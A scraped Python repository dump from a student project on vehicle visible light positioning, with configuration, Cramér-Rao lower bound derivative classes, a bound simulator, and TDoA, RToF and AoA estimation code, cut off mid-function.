gen_sim_data.names.folder_names # Parameters for simulation.py sim_data = CN() sim_data.names = CN() sim_data.names.data_names = gen_sim_data.names.data_names sim_data.names.folder_names = gen_sim_data.names.folder_names sim_data.names.intro_img_dir_name = "Figure/intro_img.png" sim_data.params = CN() sim_data.params.size_width = 1200 # main window width sim_data.params.size_height = 800 # main window height sim_data.params.number_of_skip_data = 1 sim_data.params.img_ego_s_dir = 'red_racing_car_top_view_preview.png' sim_data.params.img_tgt_s_dir = 'green_racing_car_top_view_preview.png' sim_data.params.img_tgt_f_dir = 'green_racing_car_top_view_preview.png'
{"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]}
53,979
fsahbaz/elec491
refs/heads/main
/Bound_Estimation/half_crlb_init.py
import numpy as np import math class HalfCRLBInit: def __init__(self, L_1, L_2, rx_area, rx_fov, tx_half_angle, c=3e8): """ Contains derivatives that will be used in CRLB calculations from Soner's paper :param L_1: distance between two tx leds :param L_2: distance between two rx detectors :param rx_area: area of one detector :param rx_fov: field of view of the receiver detector :param tx_half_angle: half angle of the tx led lighting pattern :param c: speed of light """ self.L1 = L_1 # m self.L2 = L_2 # m self.rx_area = rx_area # m^2 self.c = c # speed of light(m/s) self.fov = rx_fov # angle self.half_angle = tx_half_angle # angle self.m = -np.log(2) / np.log(math.cos(math.radians(self.half_angle))) # derivations for Soner's method def d_theta_d_param(self, param, ij, tx1, tx2): if param == 1: return self.d_theta_d_x1(ij, tx1) elif param == 2: return self.d_theta_d_y1(ij, tx1) elif param == 3: return self.d_theta_d_x2(ij, tx2) elif param == 4: return self.d_theta_d_y2(ij, tx2) else: raise ValueError("Error in d_theta_d_param parameter, param=", param) def d_theta_d_x1(self, ij, tx1): if ij == 11: return - tx1[1] / (tx1[0]**2 + tx1[1]**2) elif ij == 12: return 0 elif ij == 21: return - (tx1[1] - self.L2) / (tx1[0]**2 + (tx1[1] - self.L2)**2) elif ij == 22: return 0 else: raise ValueError("d_theta_d_x1, Entered tx rx values do not exist: ", str(ij)) def d_theta_d_x2(self, ij, tx2): if ij == 11: return 0 elif ij == 12: return - tx2[1] / (tx2[0]**2 + tx2[1]**2) elif ij == 21: return 0 elif ij == 22: return - (tx2[1] - self.L2) / (tx2[0]**2 + (tx2[1] - self.L2)**2) else: raise ValueError("d_theta_d_x2, Entered tx rx values do not exist: ", str(ij)) def d_theta_d_y1(self, ij, tx1): if ij == 11: return tx1[0] / (tx1[0 ]**2 + tx1[1 ]**2) elif ij == 12: return 0 elif ij == 21: return tx1[0] / (tx1[0]**2 + (tx1[1] - self.L2)**2) elif ij == 22: return 0 else: raise ValueError("d_theta_d_y1, Entered tx rx values do not exist: ", str(ij)) def d_theta_d_y2(self, ij, tx2): if ij == 11: return 0 elif ij == 12: return tx2[0] / (tx2[0]**2 + tx2[1]**2) elif ij == 21: return 0 elif ij == 22: return tx2[0] / (tx2[0]**2 + (tx2[1] - self.L2)**2) else: raise ValueError("d_theta_d_y2, Entered tx rx values do not exist: ", str(ij)) # derivations for Roberts' method def d_ddist_d_param(self, param, i, tx1, tx2): if param == 1: if i == 1: return self.d_dA_d_x1(tx1) else: return self.d_dB_d_x1(tx1) elif param == 2: if i == 1: return self.d_dA_d_y1(tx1) else: return self.d_dB_d_y1(tx1) else: raise ValueError("d_ddist_d_param, Entered tx rx values", str(i), " or param", str(param), " do not exist") def d_dA_d_x1(self, tx1): return tx1[0] * ( 1. / np.sqrt(tx1[0]**2 + tx1[1]**2) - 1. / np.sqrt(tx1[0]**2 + (tx1[1] + self.L1)**2)) def d_dA_d_y1(self, tx1): return tx1[1] / np.sqrt(tx1[0]**2 + tx1[1]**2) - (tx1[1] + self.L1) / np.sqrt(tx1[0]**2 + (tx1[1] + self.L1)**2) def d_dB_d_x1(self, tx1): return tx1[0] * ( 1. / np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2) - 1. / np.sqrt(tx1[0]**2 + (tx1[1] + self.L1 - self.L2)**2)) def d_dB_d_y1(self, tx1): return tx1[1] / np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2) - (tx1[1] + self.L1 - self.L2) / np.sqrt(tx1[0]**2 + (tx1[1] + self.L1 - self.L2)**2) # derivations for Bechadeurge's method def d_dij_d_param(self, param, ij, tx1, tx2): if param == 1: return self.d_dij_d_x1(ij, tx1) elif param == 2: return self.d_dij_d_y1(ij, tx1) elif param == 3: return self.d_dij_d_x2(ij, tx2) elif param == 4: return self.d_dij_d_y2(ij, tx2) else: raise ValueError("Error in d_theta_d_param parameter:", str(param)) def d_dij_d_x1(self, ij, tx1): if ij == 11: return tx1[0] / np.sqrt(tx1[0]**2 + tx1[1]**2) elif ij == 12: return 0 elif ij == 21: return tx1[0] / np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2) elif ij == 22: return 0 else: raise ValueError("d_dij_d_x1, Entered tx rx values do not exist: ", str(ij)) def d_dij_d_x2(self, ij, tx2): if ij == 11: return 0 elif ij == 12: return tx2[0] / np.sqrt(tx2[0]**2 + tx2[1]**2) elif ij == 21: return 0 elif ij == 22: return tx2[0] / np.sqrt(tx2[0]**2 + (tx2[1] - self.L2)**2) else: raise ValueError("d_dij_d_x2, Entered tx rx values do not exist: ", str(ij)) def d_dij_d_y1(self, ij, tx1): if ij == 11: return tx1[1] / np.sqrt(tx1[0]**2 + tx1[1]**2) elif ij == 12: return 0 elif ij == 21: return (tx1[1] - self.L2) / np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2) elif ij == 22: return 0 else: raise ValueError("d_dij_d_y1, Entered tx rx values do not exist: ", str(ij)) def d_dij_d_y2(self, ij, tx2): if ij == 11: return 0 elif ij == 12: return tx2[1] / np.sqrt(tx2[0]**2 + tx2[1]**2) elif ij == 21: return 0 elif ij == 22: return (tx2[1] - self.L2) / np.sqrt(tx2[0]**2 + (tx2[1] - self.L2)**2) else: raise ValueError("d_dij_d_y2, Entered tx rx values do not exist: ", str(ij))
{"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]}
53,980
fsahbaz/elec491
refs/heads/main
/Bound_Estimation/crlb_bound_simulator.py
from CRLB_init import * from matfile_read import load_mat import numpy as np from config_est import bound_est_data # Roberts' method, CRLB calculation for a single position estimation def roberts_crlb_single_instance(crlb_obj, tx1, tx2, delays, curr_t, dt_vhc, max_pow, sig_freq, meas_dt, T, i_bg, noise_factors, powers): flag = False fim = np.zeros(shape=(2,2)) for param1, param2 in zip(range(2), range(2)): for i in range(2): for j in range(2): ij = (i + 1)*10 + (j + 1) E_1, E_2, E_3 = signal_generator(curr_t, dt_vhc, max_pow, sig_freq, delays[i][j], meas_dt) h_ij = crlb_obj.get_h_ij(ij, tx1, tx2, flag) dh_dk1 = crlb_obj.get_d_hij_d_param(param1 + 1, ij, tx1, tx2, flag) dh_dk2 = crlb_obj.get_d_hij_d_param(param2 + 1, ij, tx1, tx2, flag) dtau_dk1 = crlb_obj.get_d_tau_d_param(param1 + 1, ij, tx1, tx2, flag) dtau_dk2 = crlb_obj.get_d_tau_d_param(param2 + 1, ij, tx1, tx2, flag) dh_dk1_dh_dk2 = dh_dk1 * dh_dk2 h_dh_dk1_dtau_dk2 = - h_ij * dh_dk1 * dtau_dk2 h_dh_dk2_dtau_dk1 = - h_ij * dh_dk2 * dtau_dk1 hsq_dtau_dk1_dtau_dk2 = h_ij ** 2 * dtau_dk1 * dtau_dk2 p_r = np.sum(powers[i][j]) noise_effect = 1 / (p_r * noise_factors[0] + i_bg * noise_factors[1] + T * (noise_factors[2] + noise_factors[3])) fim[param1][param2] += noise_effect * (dh_dk1_dh_dk2 * E_2 \ + (h_dh_dk1_dtau_dk2 + h_dh_dk2_dtau_dk1) * E_3 \ + hsq_dtau_dk1_dtau_dk2 * E_1) return np.linalg.inv(fim) # Bechadergue's method, CRLB calculation for a single position estimation def bechadergue_crlb_single_instance(crlb_obj, tx1, tx2, delays, curr_t, dt_vhc, max_pow, sig_freq, meas_dt, T, i_bg, noise_factors, powers): fim = np.zeros(shape=(4, 4)) for param1, param2 in zip(range(4), range(4)): for i in range(2): for j in range(2): ij = (i + 1) * 10 + (j + 1) h_ij = crlb_obj.get_h_ij(ij, tx1, tx2) E_1, E_2, E_3 = signal_generator(curr_t, dt_vhc, max_pow, sig_freq, delays[i][j], meas_dt) dh_dk1 = crlb_obj.get_d_hij_d_param(param1 + 1, ij, tx1, tx2) dh_dk2 = crlb_obj.get_d_hij_d_param(param2 + 1, ij, tx1, tx2) dtau_dk1 = crlb_obj.get_d_tau_d_param(param1 + 1, ij, tx1, tx2) dtau_dk2 = crlb_obj.get_d_tau_d_param(param2 + 1, ij, tx1, tx2) dh_dk1_dh_dk2 = dh_dk1 * dh_dk2 h_dh_dk1_dtau_dk2 = - h_ij * dh_dk1 * dtau_dk2 h_dh_dk2_dtau_dk1 = - h_ij * dh_dk2 * dtau_dk1 hsq_dtau_dk1_dtau_dk2 = h_ij ** 2 * dtau_dk1 * dtau_dk2 p_r = np.sum(powers[i][j]) noise_effect = 1 / (p_r * noise_factors[0] + i_bg * noise_factors[1] + T * ( noise_factors[2] + noise_factors[3])) fim[param1][param2] += noise_effect * (dh_dk1_dh_dk2 * E_2 \ + (h_dh_dk1_dtau_dk2 + h_dh_dk2_dtau_dk1) * E_3 \ + hsq_dtau_dk1_dtau_dk2 * E_1) return np.linalg.inv(fim) # Soner's method, CRLB calculation for a single position estimation def soner_crlb_single_instance(crlb_obj, tx1, tx2, delays, curr_t, dt_vhc, max_pow, sig_freq, meas_dt, T, i_bg, noise_factors, powers): fim = np.zeros(shape=(4, 4)) for param1, param2 in zip(range(4), range(4)): for i in range(2): for j in range(2): for qrx in range(4): ij = (i + 1) * 10 + (j + 1) q = qrx + 1 E_1, E_2, E_3 = signal_generator(curr_t, dt_vhc, max_pow, sig_freq, delays[i][j], meas_dt) h_ijq = crlb_obj.get_h_ijq(ij, q, tx1, tx2) dh_dk1 = crlb_obj.get_d_hij_q_d_param(param1 + 1, ij, q, tx1, tx2) dh_dk2 = crlb_obj.get_d_hij_q_d_param(param2 + 1, ij, q, tx1, tx2) dtau_dk1 = crlb_obj.get_d_tau_d_param(param1 + 1, ij, tx1, tx2) dtau_dk2 = crlb_obj.get_d_tau_d_param(param2 + 1, ij, tx1, tx2) dh_dk1_dh_dk2 = dh_dk1 * dh_dk2 h_dh_dk1_dtau_dk2 = h_ijq * dh_dk1 * dtau_dk2 h_dh_dk2_dtau_dk1 = h_ijq * dh_dk2 * dtau_dk1 hsq_dtau_dk1_dtau_dk2 = h_ijq ** 2 * dtau_dk1 * dtau_dk2 p_r = powers[i][j][qrx] noise_effect = 1 / (p_r * noise_factors[0] + i_bg * noise_factors[1] + T * ( noise_factors[2] + noise_factors[3]/ 16)) # /16 comes from capacitance division fim[param1][param2] += noise_effect * (dh_dk1_dh_dk2 * E_2 \ + (h_dh_dk1_dtau_dk2 + h_dh_dk2_dtau_dk1) * E_3 \ + hsq_dtau_dk1_dtau_dk2 * E_1) return np.linalg.inv(fim) def signal_generator(current_time, dt_vhc, max_power, signal_freq, delay, measure_dt): """ Create sinusoidal signal and its derivative form for CRLB calculations """ time = np.arange(current_time - dt_vhc + measure_dt, current_time + measure_dt, measure_dt) s = max_power * np.sin((2 * np.pi * signal_freq * (time - delay)) % (2 * np.pi)) d_s_d_tau = - max_power * 2 * np.pi * signal_freq * np.cos((2 * np.pi * signal_freq * (time - delay)) % (2 * np.pi)) e_1 = np.sum(np.dot(d_s_d_tau, d_s_d_tau)) e_2 = np.sum(np.dot(s, s)) e_3 = np.sum(np.dot(s, d_s_d_tau)) return e_1, e_2, e_3 def main(): # load the simulation data data = load_mat('../SimulationData/v2lcRun_sm3_comparisonSoA.mat') dp = bound_est_data.params.number_of_skip_data # vehicle parameters L_1 = data['vehicle']['target']['width'] L_2 = data['vehicle']['ego']['width'] rx_area = data['qrx']['f_QRX']['params']['area'] # time parameters time = data['vehicle']['t']['values'][::dp] dt = data['vehicle']['t']['dt'] * dp max_power = data['tx']['power'] signal_freq = bound_est_data.params.signal_freq measure_dt = bound_est_data.params.measure_dt # relative tgt vehicle positions tx1_x = data['vehicle']['target_relative']['tx1_qrx4']['y'][::dp] tx1_y = data['vehicle']['target_relative']['tx1_qrx4']['x'][::dp] tx2_x = data['vehicle']['target_relative']['tx2_qrx3']['y'][::dp] tx2_y = data['vehicle']['target_relative']['tx2_qrx3']['x'][::dp] # delay parameters delay_11 = data['channel']['qrx1']['delay']['tx1'][::dp] delay_12 = data['channel']['qrx1']['delay']['tx2'][::dp] delay_21 = data['channel']['qrx2']['delay']['tx1'][::dp] delay_22 = data['channel']['qrx2']['delay']['tx2'][::dp] # received power of QRXes pow_qrx1_tx1 = np.array([data['channel']['qrx1']['power']['tx1']['A'][::dp], data['channel']['qrx1']['power']['tx1']['B'][::dp], data['channel']['qrx1']['power']['tx1']['C'][::dp], data['channel']['qrx1']['power']['tx1']['D'][::dp]]) pow_qrx1_tx2 = np.array([data['channel']['qrx1']['power']['tx2']['A'][::dp], data['channel']['qrx1']['power']['tx2']['B'][::dp], data['channel']['qrx1']['power']['tx2']['C'][::dp], data['channel']['qrx1']['power']['tx2']['D'][::dp]]) pow_qrx2_tx1 = np.array([data['channel']['qrx2']['power']['tx1']['A'][::dp], data['channel']['qrx2']['power']['tx1']['B'][::dp], data['channel']['qrx2']['power']['tx1']['C'][::dp], data['channel']['qrx2']['power']['tx1']['D'][::dp]]) pow_qrx2_tx2 = np.array([data['channel']['qrx2']['power']['tx1']['A'][::dp], data['channel']['qrx2']['power']['tx1']['B'][::dp], data['channel']['qrx2']['power']['tx1']['C'][::dp], data['channel']['qrx2']['power']['tx1']['D'][::dp]]) # noise params T = bound_est_data.params.T I_bg = bound_est_data.params.I_bg p_r_factor = data['qrx']['tia']['shot_P_r_factor'] i_bg_factor = data['qrx']['tia']['shot_I_bg_factor'] t_factor1 = data['qrx']['tia']['thermal_factor1'] t_factor2 = data['qrx']['tia']['thermal_factor1'] noise_factors = [p_r_factor, i_bg_factor, t_factor1, t_factor2] # other params rx_fov = bound_est_data.params.rx_fov tx_half_angle = bound_est_data.params.tx_half_angle # initalize crlb equations with given parameters crlb_init_object = CRLB_init(L_1, L_2, rx_area, rx_fov, tx_half_angle) # calculate bounds for all elements robert_crlb_results = [np.array([]), np.array([])] becha_crlb_results = [np.array([]), np.array([]), np.array([]), np.array([])] soner_crlb_results = [np.array([]), np.array([]), np.array([]), np.array([])] for i in range(len(tx1_x)): # calculate sim params for ith point tx1 = np.array([tx1_x[i], tx1_y[i]]) tx2 = np.array([tx2_x[i], tx2_y[i]]) curr_t = time[i] delays = np.array([[delay_11[i], delay_12[i]], [delay_21[i], delay_22[i]]]) powers = np.array([[pow_qrx1_tx1[:, i], pow_qrx1_tx2[:, i]], [pow_qrx2_tx1[:, i], pow_qrx2_tx2[:, i]]]) #calculate inverse of FIM for each method fim_inverse_rob = roberts_crlb_single_instance(crlb_init_object, tx1, tx2, delays, curr_t, dt, max_power, signal_freq, measure_dt, T, I_bg, noise_factors, powers) fim_inverse_becha = bechadergue_crlb_single_instance(crlb_init_object, tx1, tx2, delays, curr_t, dt, max_power, signal_freq, measure_dt, T, I_bg, noise_factors, powers) fim_inverse_soner = soner_crlb_single_instance(crlb_init_object, tx1, tx2, delays, curr_t, dt, max_power, signal_freq, measure_dt, T, I_bg, noise_factors, powers) # from varince -> deviation robert_crlb_results[0] = np.append(robert_crlb_results[0], np.sqrt(fim_inverse_rob[0][0])) robert_crlb_results[1] = np.append(robert_crlb_results[1], np.sqrt(fim_inverse_rob[1][1])) becha_crlb_results[0] = np.append(becha_crlb_results[0], np.sqrt(fim_inverse_becha[0][0])) becha_crlb_results[1] = np.append(becha_crlb_results[1], np.sqrt(fim_inverse_becha[1][1])) becha_crlb_results[2] = np.append(becha_crlb_results[2], np.sqrt(fim_inverse_becha[2][2])) becha_crlb_results[3] = np.append(becha_crlb_results[3], np.sqrt(fim_inverse_becha[3][3])) soner_crlb_results[0] = np.append(soner_crlb_results[0], np.sqrt(fim_inverse_soner[0][0])) soner_crlb_results[1] = np.append(soner_crlb_results[1], np.sqrt(fim_inverse_soner[1][1])) soner_crlb_results[2] = np.append(soner_crlb_results[2], np.sqrt(fim_inverse_soner[2][2])) soner_crlb_results[3] = np.append(soner_crlb_results[3], np.sqrt(fim_inverse_soner[3][3])) #save deviations np.savetxt('Data/aoa/crlb_x1.txt', soner_crlb_results[0], delimiter=',') np.savetxt('Data/rtof/crlb_x1.txt', becha_crlb_results[0], delimiter=',') np.savetxt('Data/aoa/crlb_x2.txt', soner_crlb_results[2], delimiter=',') np.savetxt('Data/rtof/crlb_x2.txt', becha_crlb_results[2], delimiter=',') np.savetxt('Data/tdoa/crlb_x.txt', robert_crlb_results[0], delimiter=',') np.savetxt('Data/aoa/crlb_y1.txt', soner_crlb_results[1], delimiter=',') np.savetxt('Data/rtof/crlb_y1.txt', becha_crlb_results[1], delimiter=',') np.savetxt('Data/aoa/crlb_y2.txt', soner_crlb_results[3], delimiter=',') np.savetxt('Data/rtof/crlb_y2.txt', becha_crlb_results[3], delimiter=',') np.savetxt('Data/tdoa/crlb_y.txt', robert_crlb_results[1], delimiter=',') print("finished") if __name__ == "__main__": main()
{"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]}
53,981
fsahbaz/elec491
refs/heads/main
/Bound_Estimation/parameter_deviation_calculator.py
import pickle import scipy.signal as signal from Bound_Estimation.matfile_read import load_mat import numpy as np from numba import njit import math import os from config import gen_sim_data class TDoA: """ Exact replica of the VLP_methods/tdoa.py with last parts deleted, instead of calculating the position, it stops when measured delays are calculated. See VLP_methods/tdoa.py for more explanation """ def __init__(self, a_m=2, f_m1=40000000, f_m2=25000000, measure_dt=1e-8, vehicle_dt=1e-3, car_dist=1.6, c=3e8): self.a_m = a_m self.dt = measure_dt self.measure_period = vehicle_dt self.w1 = 2 * math.pi * f_m1 self.w2 = 2 * math.pi * f_m2 self.car_dist = car_dist self.t = np.arange(0, vehicle_dt - self.dt, self.dt) self.c = c def estimate(self, delays, H, noise_variance): delay1_measured, delay2_measured = self.measure_delay(delays, H, noise_variance) v = self.c ddist1 = np.mean(delay1_measured) * v ddist2 = np.mean(delay2_measured) * v return np.array([ddist1, ddist2], np.newaxis) def measure_delay(self, delays, H, noise_variance): delta_delay1 = delays[0][0] - delays[0][1] delta_delay2 = delays[1][0] - delays[1][1] s1_w1 = H[0][0] * self.a_m * np.cos(self.w1 * (self.t - delta_delay1)) + np.random.normal(0, math.sqrt( noise_variance[0][0]), len(self.t)) s2_w1 = H[0][1] * self.a_m * np.cos(self.w1 * (self.t)) + np.random.normal(0, math.sqrt(noise_variance[0][1]), len(self.t)) s1_w2 = H[1][0] * self.a_m * np.cos(self.w2 * (self.t - delta_delay2)) + np.random.normal(0, math.sqrt( noise_variance[1][0]), len(self.t)) s2_w2 = H[1][1] * self.a_m * np.cos(self.w2 * (self.t)) + np.random.normal(0, math.sqrt(noise_variance[1][1]), len(self.t)) s1_w1_fft = np.fft.fft(s1_w1) s2_w1_fft = np.fft.fft(s2_w1) s1_w1_fft[0:len(s1_w1_fft) // 2] = 0 s2_w1_fft[0:len(s2_w1_fft) // 2] = 0 s1_w1_upperSideband = np.fft.ifft(s1_w1_fft) s2_w1_upperSideband = np.fft.ifft(s2_w1_fft) s1_w2_fft = np.fft.fft(s1_w2) s2_w2_fft = np.fft.fft(s2_w2) s1_w2_fft[0:len(s1_w2_fft) // 2] = 0 s2_w2_fft[0:len(s2_w2_fft) // 2] = 0 s1_w2_upperSideband = np.fft.ifft(s1_w2_fft) s2_w2_upperSideband = np.fft.ifft(s2_w2_fft) direct_mix1 = np.multiply(s1_w1_upperSideband, s2_w1_upperSideband.conj()) delay1_measured = np.angle(direct_mix1) / self.w1 direct_mix2 = np.multiply(s1_w2_upperSideband, s2_w2_upperSideband.conj()) delay2_measured = np.angle(direct_mix2) / self.w2 return delay1_measured, delay2_measured class RToF: """ Exact replica of the VLP_methods/rtof.py with last parts deleted, instead of calculating the position, it stops when distances between tx and rx are calculated. See VLP_methods/rtof.py for more explanation """ def __init__(self, a_m=2, f_m=1e6, measure_dt=5e-9, vehicle_dt=5e-3, car_dist=1.6, r=499, N=1, c=3e8): self.dt = measure_dt self.f = f_m self.a_m = a_m self.r = r self.N = N self.c = c self.t = np.arange(0, vehicle_dt - self.dt, self.dt) self.car_dist = car_dist def gen_signals(self, f, r, N, t, delays, noise_variance): length_time = np.size(t) noise1 = np.random.normal(0, math.sqrt(noise_variance[0]), length_time).astype('float') noise2 = np.random.normal(0, math.sqrt(noise_variance[1]), length_time).astype('float') s_e = np.asarray(signal.square(2 * np.pi * f * t), dtype='float') s_r = np.zeros((2, length_time)) s_r[0] = np.asarray(signal.square(2 * np.pi * f * (t + delays[0])), dtype='float') + noise1 s_r[1] = np.asarray(signal.square(2 * np.pi * f * (t + delays[1])), dtype='float') + noise2 s_h = np.asarray(signal.square(2 * np.pi * f * (r / (r + 1)) * t), dtype='float') s_gate = np.asarray((signal.square(2 * np.pi * (f / (N * (r + 1))) * t) > 0), dtype='float') return s_e, s_r, s_h, s_gate @staticmethod @njit(parallel=True) def rtof_estimate_dist(s_e, s_r, s_h, s_gate, f, r, N, dt, t, length_time): s_clk = np.zeros(length_time) s_clk_idx = np.arange(1, length_time, 2) s_clk[s_clk_idx] = 1 s_phi_hh = np.zeros((2, length_time)) s_eh_state = 0 s_rh_state = np.zeros((2)) counts1 = [] counts2 = [] M = np.zeros((2)) s_h_diff = np.diff(s_h) for i in range(1, length_time): if s_h_diff[i - 1] == 2: if s_e[i] > 0: s_eh_state = 1 else: s_eh_state = 0 if s_r[0][i] > 0: s_rh_state[0] = 1 else: s_rh_state[0] = 0 if s_r[1][i] > 0: s_rh_state[1] = 1 else: s_rh_state[1] = 0 s_phi_hh[0][i] = np.logical_xor(s_eh_state, s_rh_state[0]) * s_gate[i] * s_clk[i] s_phi_hh[1][i] = np.logical_xor(s_eh_state, s_rh_state[1]) * s_gate[i] * s_clk[i] if s_gate[i] == 1: if s_phi_hh[0][i] == 1: M[0] += 1 if s_phi_hh[1][i] == 1: M[1] += 1 update_flag = 1 else: if update_flag == 1: counts1.append(M[0]) counts2.append(M[1]) M[0] = 0 M[1] = 0 update_flag = 0 return counts1, counts2 def dist_to_pos(self, dm, delays): l = self.car_dist d1 = dm[0] d1_err = np.abs(self.c * delays[1] / 2 - d1) d1 = d1[d1_err == np.min(d1_err)][0] d2 = dm[1] d2_err = np.abs(self.c * delays[0] / 2 - d2) d2 = d2[d2_err == np.min(d2_err)][0] y = (d2 ** 2 - d1 ** 2 + l ** 2) / (2 * l) x = -np.sqrt(d2 ** 2 - y ** 2) return d1, d2 def estimate(self, all_delays, H, noise_variance): delay1 = all_delays[0][0] * 2 delay2 = all_delays[0][1] * 2 delays = [delay1, delay2] s_e, s_r, s_h, s_gate = self.gen_signals(self.f, self.r, self.N, self.t, delays, noise_variance[0]) s_r[0] *= H[0][0] s_r[1] *= H[0][1] length_time = np.size(self.t) fclk = 1 / (2 * self.dt) counts1, counts2 = self.rtof_estimate_dist(s_e, s_r, s_h, s_gate, self.f, self.r, self.N, self.dt, self.t, length_time) size_tmp = np.size(counts1) dm = np.zeros((2, size_tmp)); dm[0] = ((self.c / 2) * (np.asarray(counts2) / ((self.r + 1) * self.N * fclk))) dm[1] = ((self.c / 2) * (np.asarray(counts1) / ((self.r + 1) * self.N * fclk))) d11, d12 = self.dist_to_pos(dm, delays) delay1 = all_delays[1][0] * 2 delay2 = all_delays[1][1] * 2 delays = [delay1, delay2] s_e, s_r, s_h, s_gate = self.gen_signals(self.f, self.r, self.N, self.t, delays, noise_variance[1]) # channel attenuation s_r[0] *= H[1][0] s_r[1] *= H[1][1] counts1, counts2 = self.rtof_estimate_dist(s_e, s_r, s_h, s_gate, self.f, self.r, self.N, self.dt, self.t, length_time) size_tmp = np.size(counts1) # could equivalently be counts2 dm = np.zeros((2, size_tmp)); dm[0] = ((self.c / 2) * (np.asarray(counts2) / ((self.r + 1) * self.N * fclk))) dm[1] = ((self.c / 2) * (np.asarray(counts1) / ((self.r + 1) * self.N * fclk))) d21, d22 = self.dist_to_pos(dm, delays) dist = np.array([[d11, d12], [d21, d22]]) # to obtain separate axes return dist directory_path = os.path.dirname(os.path.dirname(os.path.join(os.getcwd(), os.listdir(os.getcwd())[0]))) ## directory of directory of file data = load_mat(directory_path + '/VLP_methods/aoa_transfer_function.mat') breaks = np.array(data['transfer_function']['breaks']) coefficients = np.array(data['transfer_function']['coefs']) class AoA: """ Exact replica of the VLP_methods/aoa.py with last parts deleted, instead of calculating the position, it stops when angles of arrival are calculated. See VLP_methods/aoa.py for more explanation """ def __init__(self, a_m=2, f_m1=1000000, f_m2=2000000, measure_dt=5e-6, vehicle_dt=1e-2, w0=500, hbuf=1000, car_dist=1.6, fov=80): self.dt = measure_dt self.t = np.arange(0, vehicle_dt - self.dt, self.dt) self.w1 = 2 * math.pi * f_m1 self.w2 = 2 * math.pi * f_m2 self.a_m = a_m self.w0 = w0 self.hbuf = hbuf self.car_dist = car_dist self.e_angle = fov def estimate(self, delays, H_q, noise_variance): s1_w1 = self.a_m * np.cos(self.w1 * self.t) s2_w2 = self.a_m * np.cos(self.w2 * self.t) # after going through ADC at receiver r1_w1_a = H_q[0][0][0] * np.cos(self.w1 * (self.t - delays[0][0])) + np.random.normal(0, math.sqrt( noise_variance[0][0][0]), len(self.t)) r1_w1_b = H_q[0][0][1] * np.cos(self.w1 * (self.t - delays[0][0])) + np.random.normal(0, math.sqrt( noise_variance[0][0][1]), len(self.t)) r1_w1_c = H_q[0][0][2] * np.cos(self.w1 * (self.t - delays[0][0])) + np.random.normal(0, math.sqrt( noise_variance[0][0][2]), len(self.t)) r1_w1_d = H_q[0][0][3] * np.cos(self.w1 * (self.t - delays[0][0])) + np.random.normal(0, math.sqrt( noise_variance[0][0][3]), len(self.t)) r2_w1_a = H_q[0][1][0] * np.cos(self.w1 * (self.t - delays[0][1])) + np.random.normal(0, math.sqrt( noise_variance[0][1][0]), len(self.t)) r2_w1_b = H_q[0][1][1] * np.cos(self.w1 * (self.t - delays[0][1])) + np.random.normal(0, math.sqrt( noise_variance[0][1][1]), len(self.t)) r2_w1_c = H_q[0][1][2] * np.cos(self.w1 * (self.t - delays[0][1])) + np.random.normal(0, math.sqrt( noise_variance[0][1][2]), len(self.t)) r2_w1_d = H_q[0][1][3] * np.cos(self.w1 * (self.t - delays[0][1])) + np.random.normal(0, math.sqrt( noise_variance[0][1][3]), len(self.t)) r1_w2_a = H_q[1][0][0] * np.cos(self.w2 * (self.t - delays[1][0])) + np.random.normal(0, math.sqrt( noise_variance[1][0][0]), len(self.t)) r1_w2_b = H_q[1][0][1] * np.cos(self.w2 * (self.t - delays[1][0])) + np.random.normal(0, math.sqrt( noise_variance[1][0][1]), len(self.t)) r1_w2_c = H_q[1][0][2] * np.cos(self.w2 * (self.t - delays[1][0])) + np.random.normal(0, math.sqrt( noise_variance[1][0][2]), len(self.t)) r1_w2_d = H_q[1][0][3] * np.cos(self.w2 * (self.t - delays[1][0])) + np.random.normal(0, math.sqrt( noise_variance[1][0][3]), len(self.t)) r2_w2_a = H_q[1][1][0] * np.cos(self.w2 * (self.t - delays[1][1])) + np.random.normal(0, math.sqrt( noise_variance[1][1][0]), len(self.t)) r2_w2_b = H_q[1][1][1] * np.cos(self.w2 * (self.t - delays[1][1])) + np.random.normal(0, math.sqrt( noise_variance[1][1][1]), len(self.t)) r2_w2_c = H_q[1][1][2] * np.cos(self.w2 * (self.t - delays[1][1])) + np.random.normal(0, math.sqrt( noise_variance[1][1][2]), len(self.t)) r2_w2_d = H_q[1][1][3] * np.cos(self.w2 * (self.t - delays[1][1])) + np.random.normal(0, math.sqrt( noise_variance[1][1][3]), len(self.t)) eps_a_s1, eps_b_s1, eps_c_s1, eps_d_s1, phi_h_s1 = np.array([0., 0.]), np.array( [0., 0.]), np.array([0., 0.]), np.array([0., 0.]), np.array([0., 0.]) eps_a_s2, eps_b_s2, eps_c_s2, eps_d_s2, phi_h_s2 = np.array([0., 0.]), np.array( [0., 0.]), np.array([0., 0.]), np.array([0., 0.]), np.array([0., 0.]) theta_l_r = np.array([[0., 0.], [0., 0.]]).astype(float) eps_a_s1[0] = np.sum( np.dot(r1_w1_a[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_b_s1[0] = np.sum( np.dot(r1_w1_b[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_c_s1[0] = np.sum( 